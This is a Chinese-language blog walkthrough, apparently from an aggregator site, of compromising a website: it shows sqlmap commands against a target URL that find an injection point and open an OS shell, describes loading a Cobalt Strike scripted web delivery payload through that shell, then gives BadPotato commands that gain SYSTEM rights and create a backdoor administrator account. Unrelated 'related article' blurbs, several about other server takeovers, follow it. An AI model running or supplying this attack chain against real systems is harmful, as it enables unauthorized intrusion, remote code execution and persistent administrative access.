利用cobaltstrike加sqlmap拿下一个网站并提权

利用cobaltstrike加sqlmap拿下一个网站并提权
Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。

拿到一个网站时，单引号测试是否存在注入点：

数据库返回错误；说明大概率存在注入点。

sqlmap跑一遍，发现存在注入点：
sqlmap.py -u http://10.6.18.106/Info/InfoDetail.aspx?id=421 --batch

利用：sqlmap.py -u http://10.6.18.106/Info/InfoDetail.aspx?id=421 --os-shell --batch，来执行操作系统命令：

之后我们用到cobaltstrike：
开启cobaltstrike：

新建一个scripted web delivery攻击，

复制里面这段代码到刚才配置好的sqlmap中，

此时，cobaltstrike上如果有了目标ip，说明攻击成功！

尝试创建用户：shell net user adas /add

失败！说明权限不够~ shell systeminfo 查看操作系统版本信息：

服务器为windows 2012，接下来的思路是：寻找上传点，配合badpotato.exe尝试进行提权：

上传成功！
尝试提权~
shell C:\nmgeip\BadPotatoNet2.exe “whoami”

可以看到此时的权限为系统权限，提权成功！！！
添加用户：shell C:\nmgeip\BadPotatoNet2.exe “net user lianxi /add”

添加到管理员组：shell C:\nmgeip\BadPotatoNet2.exe “net localgroup administrators lianxi /add”

完成！

利用cobaltstrike加sqlmap拿下一个网站并提权相关推荐

windos php7 fast cgi,FAST-CGI解析漏洞拿下网站并提权windows系统服务器
作为一个懒散的人,我比较喜欢关注网上发布的漏洞.利用最新的漏洞可以比较简单的得到webshell,然后利用webshell提权拿下服务器,这个是我最喜欢的.有一个很有意思的娱乐网站,我经常登陆浏览,以 ...
如何利用宝塔面板+nginx建立一个自己的网站（如博客图床等等）
其实最近一直在搭建自己的博客和自己的图床,遇见了一些各种各样的问题,所以在这里总结一下如何利用宝塔面板来建立一个网站. 1.网站在服务器中的形式其实网站虽然是网站我们能访问到,实际上我们访问到的都是 ...
网站为什么会被降权网站降权恢复的解决方案
最近降权的网站太多了,写这篇文章,送给一些新手朋友吧. 网站为什么会被降权?每一个网站降权的原因都是不同的,但是归根结底有几个共同点,跟大家分享一下: 第一:刷了快排的站点我相信,现在的企业80%以 ...
利用CS4.0和FRP拿下“打牌”网站服务器
利用CS4.0和FRP拿下"打牌"网站服务器环境的部署 CS4.0服务器部署踩坑点 frp部署开始打牌抓个包还没有结束声明:本文旨在技术学习研究,请勿用于违法用途,否则 ...
“在解决方案中的一个或多个项目由于以下原因未能加载项目文件或网站已移动或重新命名，或者不在您的计算机上” 的解决办法...
用Visual studio.NET 2003/2005/2008在打开从网上下载的解决方案或从其他地方考来的解决方案时,往往会碰到一个这样的错误,提示说: "在解决方案中的一个或多个项目由 ...
[html] 请实现一个网站加载进度条
[html] 请实现一个网站加载进度条 import { memo } from 'react'; import { useLifecycles } from 'react-use'; import ...
windows和Linux利用Python快速搭建一个网站
windows和Linux利用Python快速搭建一个网站一.windows 步骤1:安装Python3(自行百度) 步骤2:在cmd窗口输入ipconfig查看本机ip地址,IPV4那一行.如:1 ...
利用wojilu框架仿一个网站的全过程（Step by Step利用wojilu框架开发网站系列二附源码）...
被仿的网站和仿照后的网站被仿的网站-易读仿照后的网站-我读仿这个网站的目的:为了实践一下新学习的轻量级asp.net web开发框架[我记录] ,该网站比较简单,适合入门. 实现章节章节部分, ...
给你一个网站你是如何来渗透测试的
给你一个网站你是如何来渗透测试的? from:https://zhuanlan.zhihu.com/p/36534786 1)信息收集, 1,获取域名的whois信息,获取注册者邮箱姓名电话等. 2, ...

利用cobaltstrike加sqlmap拿下一个网站并提权

利用cobaltstrike加sqlmap拿下一个网站并提权相关推荐

最新文章

热门文章